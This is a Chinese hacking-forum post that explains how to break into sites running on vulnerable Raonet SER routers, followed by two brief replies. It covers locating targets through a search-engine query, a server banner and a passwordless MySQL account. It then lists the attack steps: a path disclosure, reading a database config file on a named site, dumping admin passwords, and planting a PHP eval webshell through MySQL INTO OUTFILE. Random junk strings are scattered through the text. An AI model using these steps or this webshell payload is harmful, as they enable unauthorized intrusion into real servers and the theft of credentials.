利用某路由器漏洞入侵国外站点

admin

  寻找存在漏洞的路由器方法：
. g1 q# X4 Y1 w6 L. G& S4 p2 r# `
1：google搜索'Raonet Subscriber Ethernet Router'
+ f5 a6 T$ G! }
2：使用WebDAVScan扫80端口，http banner为thttpd/2.21b 23apr2001

3：扫mysql版本号判断,SER系列路由器使用的mysql版本4.0.14，默认有一个高权限的帐户mysql，口令为空。

//还有很多方法可以批量获取,这里不发了,请自食其力 公开了大家都玩不成......

/ M6 l* _! w* r* Y0 X

入侵步骤：
% ~5 K/ A  }, h0 ^! a
) V4 @0 A9 L2 f6 ?# S& }* v$ Y1.爆web路径，http://www.yu1u.org/src/jpgraph_line.php
! E7 |& E$ y( w* g3 F4 i4 E
2:查看数据库配置文件，http://www.yu1u.org/inc/conn_db.inc
3：得到密码后连接，查看GUI管理密码：
6 y8 q) d2 ], M) j/ l' ^use ser_500
8 g# B8 [' l" f' z, Z% v8 Lselect id,passwd from user;
4:通过数据库写入webshell，执行命令：
4 c. d: k& u/ J' muse mysql;
create table ok(cmd TEXT);
insert into ok values("<?php @eval($_POST[cmd])?>");
select * from ok into outfile "\/usr\/local\/www\/data\/src\/shell.php";
drop table ok;
* E1 `2 B6 G% _" m) @5 m
2 p. [, D5 t0 W6 L9 n5:连接后门shell.php

" W$ B2 W  U  Z/ e3 I6. 搞定！

! ]) @; Q& ]" K- j  X4 S

jos666

不错哦，黑服务器补洞。。

Anthony~

这个后果可以很严重的说